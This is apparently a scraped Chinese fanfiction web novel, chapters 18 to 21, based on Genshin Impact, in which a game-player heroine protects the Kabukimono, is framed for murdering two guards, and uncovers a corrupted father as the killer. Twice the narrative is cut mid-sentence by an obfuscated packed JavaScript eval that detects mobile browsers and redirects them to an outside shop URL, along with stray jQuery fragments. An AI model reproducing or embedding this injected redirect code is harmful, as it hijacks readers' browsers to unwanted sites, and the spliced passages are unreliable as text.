【倾奇者&雷电国崩&斯卡拉姆齐&散兵&正机之神&七叶寂照秘密主】 可是……等等! 能一眼看到角色头上顶着的名字和,难道不是玩家专属的UI特权吗?! 为什么御舆长正这个老古董NPC会知道,她可以看到角色的真名! 还直接怀疑倾奇者有多重身份? 信息有点大了吧! 有点恐怖了吧! 18. 第 18 章 御舆正宅门口。 散兵和空没打算真的干等着。 空:“要去听一听是什么事吗,多半会和你有关。” 散兵指了一个方向:“从这边翻墙。” 两人动作利落,光缡前脚刚迈进院门,他们后脚便翻墙而入,手起刀落打晕了门卫。 两人隐身于窗下的暗影中,悄然靠近,便听到了门内的低语:“……那个自称倾奇者的人偶,到底藏了几重身份?” 散兵心中一凛,便凑得更近,想要听得再仔细些。 - 见光缡不说话,御舆长正站了起来,走到她身边。 御舆长正目光如炬,投下的阴影将光缡完全笼罩其中,上位者威压十足。 “前几天,丹羽大人就与我提过倾奇者,他说你们两个或许很合得来。我也正有让你和他多多接触的想法。” 他言语之中满是关心与询问,可他带着威压的身影却纹丝不动,“光缡,刚刚与那孩子见面,你觉得他怎么样?是个你愿意相处的朋友吗?” 光缡一时摸不透他突然转变态度是想套取什么信息。这种反常的熟络让她心生警惕,于是选择了沉默。 “光缡?”御舆长正催促道,“回答我。” 光缡:“……” 御舆长正身子极具压迫感地前倾:“你不说话,想袒护他,是吗?那么他一定就是有问题,我现在就派人去搜捕他,还要向整个踏鞴砂下达悬赏令。光缡,为了家族,我们绝对不能行差踏错半步!” 御舆长正神情严肃地说完,却并未立即行动,只是直勾勾盯着光缡给她施压。 面对不动声色的威胁,光缡倒是没在担心倾奇者会被抓到,但是因为身份的事情把他惹毛了,恐怕谁都没有好果子吃。 光缡只得开口:“没有,他很好,他没有任何问题。” 散兵听到光缡主动隐瞒,心中疑问多了起来。将他的身份暴露出来,自然是有利于家族利益的。 真要论起来,他的创造者砍了她的生母一刀,还害得御舆家地位一落千丈,她完全有理由憎恨任何和“雷电”有关的人。 她为什么要隐瞒? 御舆长正将信将疑:“那你刚才怎么不说话?” “我……我不知道要怎么讲,这件事让我的脑袋很乱。” “光缡,我们是兄妹,你在世上没有再比我更亲的人了。” 他的语气渐渐和缓下来,“母亲犯下罪孽逃入山林,如今生死未卜;大哥崩溃离家杳无音讯。唯有我们两个,还坚守在这里,尽管我们没有血缘关系,但是家人是永远不会害你的。你只管讲就是,别怕,还有我在。” 御舆长正在光缡旁边的椅子坐了下来:“所以倾奇者的真实身份是什么?他是不是从鸣神岛而来?你的眼睛一定看得很清楚了吧,光缡,你肩负着御舆家的未来,你是我们的希望啊。我如此辛劳,不就是为了你吗?” 御舆光缡的眼睛可以看到他的真名?! 散兵瞬间回忆起来他们初次见面发生的种种,御舆光缡的确是将他的名字与称号都说了一遍,向他问好的。 …… 散兵一阵无言,回想起来,御舆光缡初见时便唤他“雷电国崩”,从逻辑上判断似乎确无破绽。在那时的她眼中,这或许只是个最像名字的名字。 可他当时不知道御舆光缡有这样的能力……如果他知道,他一定不会在御舆光缡面前现身,也不会一时冲动,就直接……杀了她。 光缡只觉得无语,连大家长经典的道德绑架台词——“我这都是为了你”都用上了。 幸好前边和御舆长正相关的剧情她跳过了不少,不然真不知道要吃多少PUA和洗脑包。 口口声声说是为了她,可现在稳稳坐在踏鞴砂目付位子上的人是谁?真正掌权做这御舆家家主的又是谁? 论血统与出身,游戏设定里,她可远比这位养子哥哥正统。 就算“踏鞴砂目付”这种实权职位是能者居之,那这家主之位,按理说怎么也该轮到她来坐吧? 光缡不想告诉他实话。 “倾奇者的名字就是倾奇者。我没有再看到任何。” “光缡,不要想瞒我。没有人的真名会是代称。我们能走到今天,与你这双能够看穿真伪的眼睛,脱不开关系……” 又来了! 光缡直接【跳过】大法。 “没有你,就没有如今的御舆家,也就无从谈起为母亲洗刷罪孽……” 【跳过】 “……你只是见了倾奇者一面,没有为他开脱的必要。” 御舆长正从袖中拿出一个锦袋,放在桌案上。 “本来你今天的表现,是不可能有奖励的,但是就破例一次。你接下来表现的好,我可以酌情允许你练剑一个时辰。” 光缡的目光顿时落在了锦囊上。 有奖励你早说啊?! 磨磨唧唧半天,浪费大家的时间! 还有…… “练剑一个时辰?”光缡问。 练剑一个时辰?散兵也心存疑惑,所以御舆光缡剑法很烂,是她很少训练的缘故吗。 御舆长正点头:“嗯,平常我是绝对不会允许你学习武艺的,你要成为和母亲形象完全不同的鬼族,谦逊温和,知书达礼,最重要的是,你虽然是鬼但丝毫没有战斗的天赋,这也是我们不得已而为之的下策,是为你准备的对外形象。” 他不让御舆光缡接触武学还有一个原因,战斗是鬼族的天赋与本能,御舆光缡是鬼王的后嗣,她的天赋无与伦比,可……这绝对不能让她知道。 散兵没想到真相比他想的还要地狱,光缡身手笨拙,竟然背后出于这种阴暗的算计……但有一点,御舆长正绝对说错了,御舆光缡只是缺乏实战的打磨,她差的从来都不是天赋。 这是一句谎言,为的是能更好的掌控她。 光缡在心底翻了个白眼,废话连篇。 她不过是游戏操作菜了点,现在连剧情NPC都要来踩一脚了吗! 气死了!都给我等着! 等她学成归来,只要她不开心,那就谁都别想好过。 光缡说谎张口就来:“倾奇者他就没有名字,他没有属于自己的名字,我能看到只有倾奇者三个字,仅此而已。” “如果只是这样,你也不会犹豫这么久。” “哦,这个啊,”光缡拿起锦袋把玩,想了想御舆长正的发言,从中找到了恶心他的办法,“我犹豫的原因呢……” “是因为我喜欢倾奇者,我对他一见钟情了,我现在非他不可了,哥哥,你会祝福我们吗?” 光缡故意拔高了音量,装出一副下定了极大决心的模样。 散兵:……???!!! 她来真的啊! ……这下,他能真切地感受到身旁的空投来的、那充满“吃瓜”兴致的灼热视线。 御舆长正果然一副不可置信的神情:“你在胡说什么?你疯了吗!光缡!那就是一个你才见过一面的人!” “那我就是喜欢他!” 光缡也大声回应道,“他还长得很好看,说话也好听,对我很友善很温柔,总是耐心听我讲话,他战斗起来很厉害,遇到危险会来救我……他就是很好很好啊!我凭什么不能喜欢他!而且!他才不会拿那些乱七八糟的规矩来质疑我,他会无条件相信我的选择!” 听到这里,散兵震惊的心情稍有平复。 他垂下视线,陷入思绪。 她居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449522|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然……来真的啊…… 光缡说完,觉得效果还差了点,于是便擅自添加了一句。 “他说他要离开踏鞴砂,到时候我也要和他一起离开!” 空凑了过来,用胳膊肘戳了戳散兵的背部,你们不是说了不会离开踏鞴砂吗。 散兵:……他怎么知道御舆光缡为什么要突然加这句台词! 看着向来听话乖巧的妹妹突然叛逆,甚至嚷嚷着要和紫毛小子私奔,哪个控制欲强烈的家长能受得了? 能受得了的话,外面还真有一个黄毛。 而此时,门外的黄毛正在给紫毛做口型讲话:要是我妹这样,我绝对要把那个和她私奔的臭小子杀了。 散兵翻了个白眼:……真是谢谢你啊,不解说一下我还闷在鼓里呢。 “胡闹!”御舆长正一拍桌子,嗖一下站了起来,“你疯了!现在就给我回房间反省!” 光缡毫不示弱,一拍桌子站了起来:“就不就不!我现在就出去找他,让他教我学剑!” “你——!” “气死你!” 光缡顺走锦袋,夺门而出。 散兵和空见状,赶忙缩回暗处藏了起来。光缡只顾着逃跑,压根没注意墙角还有人偷听。 她一路埋头狂奔,一边顺手解开了锦袋的系绳。 刚才御舆长正甩出这个袋子时,摆出了一副高高在上、施舍般的姿态。她倒要看看,到底是什么绝世宝贝能让他如此趾高气昂。 她将袋口朝下倾倒—— 几块做工精致的糖果“咕噜咕噜”滚入了她的手心。 看款式,似乎是枫丹那边的。 光缡:………… 就几块糖?东西是不错,但就这也想套取关键剧情情报?! 几个菜啊,喝成这样! 疯了的人是御舆长正吧! 御舆长正好感度扣一万点!!! 刚才她还是输出的太保守了!就应该指着鼻子痛骂他一顿! 光缡一路冲到正厅,路上的侍从和守卫要么不敢触她的霉头,要么就被她三拳两脚打跑了。 再怎么样,鬼的身体素质远比人类要好,何况光缡还有“玩家”身份这件外挂。 可恶的NPC敢克扣玩家奖励!这种行为严厉谴责!等下见到大佬,绝对要狠狠吐槽! 可就在这时,光缡眼前一黑。 【正在进入剧情……】 另一个占用了同场景的任务,突然被触发了。 当视野重新恢复时,原本空旷的正厅已经变了模样。 御舆长正犹如幽灵般出现在主位上,周围不知何时涌出了一群全副武装的守卫,将光缡团团包围。刀剑出鞘,所有人严阵以待。 “御舆光缡!”御舆长正厉喝一声,愤怒地直呼其名,“你涉嫌残忍谋害我安排在你房间门外的两名守卫!你可知罪!真是让我太失望了!我平时是怎么教你的!” 光缡满头问号:“???” 不是,她干什么了? 她根本没和守卫起过致命冲突啊! 这又是串到哪个任务的剧情里去了?! 她一点印象都没有! 系统提示弹了出来: 【被关禁闭后,您擅自出逃,之后两名守卫被残忍杀害。您被怀疑为残杀守卫的凶手,请提交证据为您自证清白。】 【证据栏:当前您拥有 0 个证物】 【可展示物品:1 个】 光缡无奈,选择仅有的可展示物品。 【物品描述:证明您是御舆家成员的徽章。其作用等同于某位律师在没有证据时,强行向法官出示的律师徽章。】 【是否选择该物品?】 光缡:………… 19. 第 19 章 唯一的证据是这个东西…… 这不就是毫无卵用吗! 光缡对证物的选择始终停留在家徽上,过了一小会儿,系统突然又跳出来一次弹窗: 【是否选择出示家徽?】 要出示吗? 不了吧—— 但是已经手滑点了出去。 【是。】 于是在众目睽睽之下,御舆光缡的手心中,突兀地多出一枚小巧的、金光闪闪的徽章,只见她非常骄傲地举了起来:“看看这个,我是个鬼族,这是证明我身份的御舆家徽!” 所有人:……………… 守卫们面面相觑,一时间竟有些拔剑四顾心茫然。 其中一名看似领头的守卫站出来,对御舆长正行了个礼,硬着头皮问:“您觉得呢,御舆大人?” 御舆长正右手扶着额头,一副不是很想面对的样子。 “你们觉得呢?”他反问。 领头者擦了擦汗:“额……这个……这个我也不知道怎么说,其他人呢?” 全都是“我也不清楚”、“不知道啊”、“我今天刚来报到”之类的推脱之词。过了一会儿,声音渐弱,又恢复安静。 大家都在等待御舆长正做下裁决。 而光缡趁着这个时候,偷偷溜溜球到墙边,然后“砰”一下,撞上了空气墙。 ……过剧情的时候会有空气墙,这点的确相当合理。 没招了。 御舆长正坐直了身子,面沉如水:“看来,不能再容忍和溺爱御舆光缡了……你们还愣着干什么!来人,把她押回来!” 光缡在心里疯狂掀桌:这话纯属胡扯吧!她什么时候被溺爱过了?! 她可不是给几块糖果就能哄好的小孩子,更不是吓唬一下就会全盘托出的青少年! 守卫们团团围过来,下一个分镜头就是光缡被押回去的画面。 屏幕中疯狂闪烁QTE:【企图挣脱守卫束缚】 光缡按烂了也没有用,她像个后悔没带某某天赋的人类,歪歪扭扭走向心爱的小椅子。 游戏里有空气墙,剧情期间无法交互,行,我不挑你理。 但有本事咱们去游戏外面打啊! 去查查星际和平公司给我的悬赏金究竟有几位数吧!就凭这里所有人一块儿上,都不够我塞牙缝的! 将光缡重新押回大厅中央后,守卫松开手,退回原位。 御舆长正的表情冷酷如铁:“事到如今,打感情牌是没有用的,光缡。你没有别的证据要出示了吗?” 光缡冷笑:“我要是有,也不会突然出现在这里了。” 以后再也不要走门了。 还是爬墙好啊,爬墙绝对不会突然进入到不知道衔接哪里的剧情里! 御舆长正重重地叹息一声:“那么……御舆家,不需要会杀人的恶鬼。” 【说服失败。】 【您未出示有效证据。经检查,您当前的全部证据已出示完毕。】 【警告:您已被定性为「踏鞴砂恶鬼杀人事件」重大嫌疑人。】 不是,这合理吗?!逻辑在哪里?!连个作案动机都不盘,直接就定罪了?! 【您将被无限期关押入牢。】 【本次游戏结局(锒铛入狱)】 【您即将返回故事起点……】 不不不,这种事情绝对不要啊! 她辛辛苦苦肝了这么久,好不容易才见到倾奇者,马上要刷好感了,绝对不要再回去打一遍。 光缡试着召唤武器,这次成功了。 她甩开想要擒住她的守卫,没有QTE,这次她很顺利。 “事到如今,你还要反抗吗!” 御舆长正怒吼,“我绝不允许你再伤害任何人!拿下她!” 光缡却冷笑一声:“你这么在意‘御舆’这个姓氏,我扔掉也不会成全你。” 唉,真不晓得这次读档以后,她会掉落什么好东西。 光缡心疼地想着。 要不是时间上来不及,她一定要把所有人杀了再读档。 【玩家已死亡,请选择读档点。】 光芒闪烁。 读档后的光缡猛地睁开眼,发现自己又回到了进入书房前的正厅外。 本该在外面等待的“倾奇者”不知何时竟来到了正厅。一看见她,他便立刻迎了上来,面色沉得像铁一般。 一看到他,光缡就想起御舆长正对他身份的那种神经质般的敏感,心里顿时一阵反胃。 绝对不能将他留在这里。 “出了些状况,我们先离开这里。” 赶在下一次剧情加载完毕前,光缡随意选择了一个锚点,传送了过去。 “啊……终于!”光缡疲惫地长叹一声气,如释重负,“抱歉,刚刚有点着急,擅自抓住了你的手。” 光缡正想将手抽回,却被“倾奇者”一把反攥住,用力拽了回来。 他手上的牵引力透着几分不容拒绝的强硬,迫使光缡必须直视他的眼睛。 “倾奇者”看着有几分不像平常,双眼无光,面无表情,唯有声音平稳:“到底怎么了?你的状态非常差,告诉我。” 光缡顺势将另一只手搭上散兵的肩膀,稍微用力捏了捏,神色也变得前所未有的严肃。 “倾奇者,你听好了。如果之后有任何人问起你的身世,你就说不知道。被桂木带回踏鞴砂,就是你记忆的起点。你的过去、名字、身份,你什么都不记得了,明白吗?” “如果真的有人来盘问你,或者企图把你带走,你就让他们来见我,或者,你带着他们一起来见我。” 光缡的神情中压抑着平静的愤怒。 比起自己被诬陷为杀人犯,她更生气的是有人企图通过她来对倾奇者下手 这简直就是完全没有把她放在眼里啊,她是因为什么来玩这个游戏的,她可一次都没有忘记。 所以,她永远只会选择,利好倾奇者的选项。 散兵同样神情冷峻:“我的事不重要,我想要了解的是为什么你会急匆匆逃跑?” 刚才他听到了里面的动静,御舆光缡因涉嫌谋害守卫被即刻收押。 出于各方面的担忧,散兵第一时间就冲了进去。 御舆光缡的尸首毫无生气地躺在血泊中,而御舆长正坐在上位,神色复杂到近乎麻木,口中不断呢喃着什么。 看口型,他说的是:“我这都是为了家族,你不要怪我,我都是为了家族啊,光缡……” 听的散兵情不自禁握紧双拳。 四百年前的御舆长正也是如此。 丹羽死去,作为第二负责人的御舆长正理应承担踏鞴砂的重责。 可最终,当桂木主动站出来要为他顶罪时,他虽然表现得异常痛心,却还是同意了那个提议,亲手斩下了桂木的头颅。 只因为为了所谓的使命,复兴御舆家的使命,他就能忍受着心痛,看着在乎的人去死。 在即将崩塌的时间线里,散兵一步一步走上前,直接跳上御舆长正的桌案,将他正在书写的文书全踢翻在地。胆敢上前阻拦的守卫,皆被他掀飞。 “你怎么能来这里!我们在处理家事!倾奇者,你太越界了——噗!” 散兵抬起腿,狠狠一脚踹中御舆长正的腹部,一下接着一下。剧烈的冲击让口水混着血水一同从御舆长正口中喷涌而出。 真是令人作呕的大义。 口口声声说着家人至上,可妹妹倒在血泊之中, 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“我刚才差点打出来BE结局。”光缡恹恹地回答道,“没有办法了,就只好读档了,掉落了些什么东西,我都还没有看……唉,希望都是些不太重要的东西吧。” 看到空过来了,光缡这才将刚刚两段剧情发生的事情讲了出来。 “御舆小姐的意思是,”散兵敛去眼底的阴霾,“里面有人要诬陷你杀人?” “没错!绝对是栽赃!”光缡气得直跺脚,“趁现在,我们去搜集证据!” 空思忖片刻:“情况我了解了,那么就从尸体入手吧,有人知道尸体会暂且收容在哪里吗?” 光缡稍显遗憾:“……我不知道。” “我知道。”散兵果断回答,“跟我来吧。” - 三人麻利地翻墙潜入敛尸处,打晕守卫。 目前这里只摆放着两具尸首,看样子,他们也是正要准备提取证据。 光缡立刻像个尽职尽责的搜查官一样,围着尸体到处乱转,试图寻找发光的【调查】点。 散兵则直接检视起守卫的致命伤。 “一击毙命。”散兵用手指隔空划过伤口的轨迹,“切口平滑,瞬间切断了心脉。死者连拔刀的反抗动作都没来得及做出来。这绝不是乱砍一气能造成的,凶手是个精通杀人技艺的剑客。” 那么,单是这一点,就能证明不是御舆光缡干的。 只是,只有他相信的话,还不够。 因为在踏鞴砂民众眼中,御舆光缡总表现得像是个很厉害的剑客。 散兵也发现了,这些人只要和御舆光缡扯上关系,似乎就丧失了独立思考的能力,全都变成被牵引的人偶,上演着既定的戏剧。 戏剧中所写的御舆光缡是个高手,那么所有人眼中的她也会成为高手。 而这里又和御舆长正所言不相符。 在他眼里,御舆光缡虽然有天赋,但被他很刻意得压制住了。 这倒是不难理解。就凭光缡这种无法无天的天灾性格,绝对背着她哥哥干了不少出格的事。 那些被她随手救下的人,或许根本不知道恩人就是御舆光缡,只知道踏鞴砂有一位极其厉害的神秘剑客。 也就是说,如果这是一场模仿作案, 真正杀死这两个守卫的凶手,就是完全照着“传闻中的御舆光缡”的行事风格去杀人的。 而决定性的证据…… 散兵的视线落在了守卫紧握的手里,那僵硬的指缝间,隐约露出了一点点带有花纹的布料线头。 御舆光缡的袖口昨天就破了,布料怎么可能出现在今天的死者手中。 20. 第 20 章 “伤口的平整度确实能证明与你的剑术不符,但在御舆长正眼里,他大可以咬定是有人在替你顶罪,或者是你雇凶杀人。” 空在一旁冷静地剖析着局势,“仅凭‘剑法不符’这一点,不足以作为洗脱嫌疑的铁证。” 光缡苦恼地抓了抓头发,搜查的停滞让她有些烦躁:“我这边也没有找到决定性的证据……我去倾奇者那边的尸首上再找找看吧。” 散兵会意。 在刚才查验时,他就已经瞥见了那块眼熟的碎布。但他余光扫过光缡因为毫无头绪而略显阴郁的侧脸,原本准备指出的手又默默收了回去。 如果是她自己亲手找到洗脱罪名的关键,就能别再掉着个脸了吧。 他既没有给提示,也没有出声,只是十分自然地后退了半步,不着痕迹地让出位置,将搜查的空间完完全全留给光缡去探索。 光缡俯下身,顺着死者的衣物和周边仔细摸索:“让我看看……” 没一会儿,就听到了光缡惊喜的惊呼声。 “找到了!” 光缡开心地将那块布料举起来,晃了晃,“这是我衣服袖子上的布料!你们看,花纹完全吻合!但这件衣服被挂坏已经是昨天的事情了,当时还是倾奇者最先发现的呢!” 笼罩在心头的负面情绪烟消云散,她立马回过头,对着散兵灿烂一笑:“哈哈!多谢你昨天眼尖提醒我了,这下可是帮了大忙啦!” 散兵的眉眼微微舒展,像是不自觉地被光缡雀跃的心情感染了些许。他将双臂交叉抱在胸前,向后惬意地靠在墙面上,微微支起一条腿,姿态放松。 光缡简单给空讲了讲前因后果。 昨天他们救下一个渔民,在渔民家中时,倾奇者就指出了她袖口的破损。 空听完也明白了。 “昨天衣服就破了,布料怎么可能出现在今天死亡的死者手中。” “是这样没错,也就是说……我完全就是被陷害的。” 光缡的笑容收敛,眼底浮现出冷意,“我一定要把这个藏在暗处的混账揪出来。敢把主意打到我头上,我真的非常生气。” 守卫们的随身物品都从身上取了下来,放到了一旁,光缡也很认真地调查了个遍。 【获得物品:沾血的护身符×1】 【获得物品:一封家书×1】 【获得物品:特别的药剂×1】 【尸体发现地点:踏鞴砂偏远沙滩处,两人家附近】 护身符看不出太多端倪,两名死者一人一个,款式古朴,针脚细密,应当是家人祈求平安的寄托。 那封写了一半的家书,纸张边缘因为反复摩挲而卷曲。这是守卫写给父亲的信,字里行间透着笨拙的真诚:“……无论父亲变成什么样子,您都是我们的父亲。这份养育之恩,儿子们一定会报答……” 最后那瓶药剂,却让三人同时皱起了眉头。这药他们很熟悉,正是那个云游医生为感染祟神之力的矿工们开具的药品。 “守卫家中应该有人得了祟神病。”光缡推测道。 “他们是亲兄弟吗?看面相骨骼,似乎并不相像。”空将两块高度相似的护身符并排放在一起。 结合信中的内容,这位老父亲显然已经病入膏肓,甚至神志不清,但两个儿子依然没有放弃他。只是,信中描述的那些癫狂症状…… 散兵默然,恐怕祟神病已经非常厉害了。 他将自己的发现分享给了同伴。 “与其在这里盲目推测,不如亲自去见一见这位父亲。”光缡提议道。 三人来到兵士们的演习场。 说是这里可能有人知道守卫的情况,但其实光缡只是跟着任务指引走。 光缡向兵士出示了那封家书,很快便打听到了死者的身世。 “太可怕了……两位前辈明明武艺高强,怎么会突然遇害……”年轻的兵士捂着脸,满是不忍。 “是啊,昨天A前辈还说,等发了军饷就去给老父亲买新药。”另一名兵士叹息,“B前辈是个孤儿,从小被A前辈的父亲收养,两人感情比亲兄弟还深。” “那位老父亲住在村子边缘,听说以前是个很厉害的浪人呢。两位前辈那手利落的剑法,都是他老人家手把手教出来的……” 兵士2:“太可怕了……两位前辈明明武艺高强,怎么会突然……” 听到台词开始循环,光缡停了下来:“地理位置也知道了,我们这就过去吧。” “走吧。”空很自然地接话道。 散兵却停留在了原地。 从刚才开始,他就想说了。 光缡和空这两个人,做事效率高得惊人,甚至可以说……有些冷漠。正常的断案寻踪,面对如此惨烈的杀人案件,她自己都被当作了重大嫌疑人,总该有一个震惊、分析、梳理信息的过程。 可是在他们这里,这些情绪和逻辑推演仿佛被完全省略了。 他们就像是知道答案一般,直奔目标而去。 散兵心中有了一些猜想。 “我可以再看看那封家书吗?”散兵突然开口。 “嗯?可以啊。”光缡从背包中取出信件递给他。 散兵拿着信,走向刚才那两名兵士:“劳驾,关于这封信原主人的父亲,你们还知道些什么……” 然而,他话音未落,两名兵士突然收敛了神色,警惕地后退了一步。 “抱歉,这里是营地重地,还请你不要再靠近了。”兵士的语气生硬了起来。 散兵耐着性子坚持:“我只是想问问关于祟神病的事。” “那也不该来问我们!这不是我们该管的事,赶紧离开!”兵士彻底关上了沟通的大门,转过身不再理会他。 散兵捏着信纸的手指微微收紧。 ……完完全全是两种截然不同的态度。在面对光缡时,他们倾盖如故;而在面对他时,只有防备与驱赶。 倒不如说,对待他的态度,才是一个正常军营士兵对待陌生人的反应。 有问必答反而有一种虚假感。 光缡不解地问:“怎么了?我们不是已经得到信息了吗?” 散兵将信件还给她:“没什么,只是觉得沟通过于顺利,想自己也试一试而已。不说这些了,我们还是尽快调查手上的事情吧。” - 三人顺着线索,来到了村子边缘的一处孤屋。 院落里一片狼藉。这里像遭受过某种狂暴的破坏。木柱和墙体上布满了深浅不一的刀痕,每一道都杀气凌然。 一位头发花白的老人正蜷缩在墙角,神经质地啃咬着手指,口中念念有词,仿佛在与另一个人争吵。 “孩子大了……留不住了……” “他们对你也算是有份孝心……” 突然,老人的声音变得尖锐:“哼!他们只在乎让我赶紧死!好继承我的家业!” 紧接着,他又换了一副哀戚的语调:“我看倒也未必,他们只是关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449524|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心你,还去给你寻药来……” “这药就是毒药!他们想害我!想毒死我!是谁?!是谁在哪儿!” 老人嘶哑地怒吼着,摇摇晃晃地站了起来。他一把抓起靠在墙边的单手剑,跌跌撞撞地转过身。虽然身形佝偻,但宽大的骨架仍能看出当年武者的影子。 他眼神浑浊、布满血丝,死死盯住闯入的三人。 “你们是谁?是谁派你们来的?怎么找到这里的!” 老头语无伦次地挥舞着单手剑,脚步虚浮,但握刀的姿势却十分老练。 “我们只是来问些事情。”光缡试探性地往前走了一步。 “别过来!”老头猛地后退,剧烈地咳嗽起来,一边咳一边从怀里掏出一个和光缡找到的那个一模一样的药瓶,迫不及待地灌了一口。 药液下肚,他浑浊的眼神似乎清明了些许。 他直勾勾地看着光缡的服饰,喃喃道:“啊……御舆……你是御舆家的人吧?当初御舆长正沉迷锻刀,多少个深夜,都是我陪着他,帮他冶炼玉钢……他成功锻出那把刀了吗?” “还有这事?”光缡稍显惊讶,“他应该没有吧?如果他成功了,踏鞴砂应该不会这么安静才是。” “嘿嘿嘿……”老头突然阴森森地笑了起来,笑声在破败的院落里格外渗人,“我想也是!他们把锻造区搞成那个鬼样子,口口声声说什么枫丹来的新技术,什么高效率、大进步……到头来,还不是在用人命填!我知道……我全都知道!” “炉心里在冒黑气……有个戴面具的人……他一直在看着我笑!他在笑啊!” 老头抱起药罐,咕噜咕噜喝了下去。 一直沉默的散兵上前一步,压制着情绪,努力保持平静道:“那个戴面具的人……长什么样子?” 然而老头已经陷入了不可名状的恐慌之中,对外界的质问充耳不闻。 散兵停在半步之外,在暗处死死捏紧了拳头,指关节泛出苍白的颜色。 多托雷。绝对是多托雷。 这个老人很有可能撞破了多托雷在御影炉心的秘密,才会被折磨成这副人不人鬼不鬼的模样。 “我那两个傻儿子……他们还在给御舆长正卖命,他们想往上爬……”老头突然又平静下来,嘴角咧出一个僵硬的弧度,“他们被那些戴面具的人骗了!他们每天给我喂这种毒药!他们想把我变成怪物!” 老头浑浊的眼泪顺着沟壑纵横的脸颊滑落,语气中满是病态的慈悲与绝望:“我不能让他们也被变成怪物……那种生不如死的滋味啊……我是他们的父亲……我得救他们啊!” “只要一刀……只要用我教他们的剑法,挥出最快的一刀……他们就不会感觉到痛了……可他们又是我养大的孩子,我怎么舍得……” 三人呼吸一滞,都想到了两具尸体上的干净利落的致命伤。 看着老人的状态,光缡忽然有了一个猜想。 她将交互准星,对准了老人。 【是否将‘老人’收纳进背包?】 【是/否】 可以收纳进背包的物品,有着明确的规定:死物可以直接放进去,活体动物也需要依靠特定的捕捉机制。 唯独拥有人类身份的NPC,绝对无法触发收纳选项。 但先前那些被斩杀的恶鬼,却能像战利品一样,毫无阻碍地被丢进来。 系统的光芒倒映在光缡眼底。 也许,因为他们,早就已经不再是人类了。 21.第 21 章 【是否将‘老人’收纳进背包?】 【是。】 【您已超出交互距离,请靠近。】 于是光缡主动走向老人,再次选择了收纳。 眨眼间,老人就真的凭空消失,出现在了光缡的背包格子中。然而,象征任务完成的系统播报却迟迟没有响起。 光缡疑惑地将光标移动到老人的格子上。 【背包-物品-老人】 弹出的只有【杀害】选项。 “你对他做了什么?”散兵立即追问,“他人去哪里了?” “我拿他做了个机制试验,不过好像不能这么卡Bug,”光缡无奈地解释道,“没拿到奖励,我现在又得把他放出来了。” 光芒一闪,老人重新跌坐在泥泞中。 “我的药快喝完了……”老人死死盯着光缡,神经质地啃咬着指甲,眼底满是期盼,“你们在路上看到我的儿子了吗?他们说今天会带新药回来的,为什么还没回家……我还给那两个臭小子准备了他们最爱吃的料理……” 他低声嘟囔着,眼神飘忽:“外面恶鬼太多了,有两只恶鬼闯进家里……不过没关系,已经被我杀掉了。孩子们可以安心回家了……” 系统的提示跃入光缡的视线。 【你要告诉他真相吗?】 【也许沉溺在不清不楚地幻觉中,对他而言是一种保护】 【也许,真相如水中之月一般,虚假漂浮】 光缡没犹豫太久。 她几乎是立刻做出了选择,她是坚定的真实一派,她不能为角色们的人生做出选择,告诉真相就是将做选择的权利交还给他们手中。 逃避,永远解决不了问题。 “不用等了。”光缡直视着他,平静揭开了真相,“你的两个儿子已经死了。死于一击毙命的刀伤,凶手是个精通杀人技艺的人。” 老头的动作猛地僵住。 “死……死了?” “可能你杀掉的,不是怪物。”光缡的声音没有任何起伏,却字字诛心,“是他们。” 老人浑浊的眼球剧烈地颤抖着,他像是被雷击中一般,呆立在原地。 “不……不可能!我杀的是戴面具的怪物!我杀的是怪物!” 但在这一瞬间,某种属于人类的、残存的理智,短暂地冲破了药物和祟神的控制。巨大的悲恸如海啸般将他淹没。 老人扑通一声跪倒在泥泞的院落中,双手死死抓着泥土,发出如同野兽失去幼崽般凄厉至极的悲鸣:“我杀了他们?是我杀了他们?!不——!!!” 悲痛与麻木在他的脸庞上交织,争夺着这具身体的控制权。 他像个迷路的孩子般茫然无助,本能地抓起地上的药瓶,拼命往嘴里倒,但是瓶中已经没有更多药了。 他沉重地喘息着,痛苦地低吟。 渐渐地,低吟变成了嘶哑的笑声。 属于人类的情感,仅仅维持了不到十秒。 老人的哭声戛然而止。 紫黑色瘴气从老人的七窍中喷涌而出。他的骨骼发出扭曲断裂声,身躯瞬间膨胀了数倍。 大片的紫晶毒瘤刺破皮肤暴露在空气中,将这个绝望的父亲,彻底化作了一只持剑的恶鬼。 【任务状态已更新。】 【讨伐目标:八只恶鬼(当前进度:3/8)。】 【第三只恶鬼已完成异化,请即刻准备战斗。】 【您未佩戴武器,无法切换战斗模式。】 散兵和空都已经唤出武器,进入迎战状态,可身为“主将”的光缡仍旧愣在原地,两手空空,像是遭受了某种巨大打击。 散兵这次使用了光缡送给他的那把刀,先前和这种恶鬼作战的经验告诉他,徒手搏斗不是一个好选择。 而此时,光缡的视界里,背包界面正处于开启状态。 【背包-武器栏:空】 【您共持有0个武器。】 武器! 武器都在和御舆长正升堂对峙的那次死亡中,掉、落、了! 她的心血、她日日夜夜肝大世界地图收集到的各种武器啊! 有一些特别的专武,还因为她自身的属性不够,还没有拿起来玩过呢! 类似灵魂的白色团状物,即将要从光缡的口中飘出。 “御舆光缡!你在干什么!” “倾奇者”焦急的厉喝声响彻耳畔。下一秒,他一把攥住光缡的胳膊,将她猛地往后拽离原位,同时格挡住了恶鬼当头劈下的重斩。 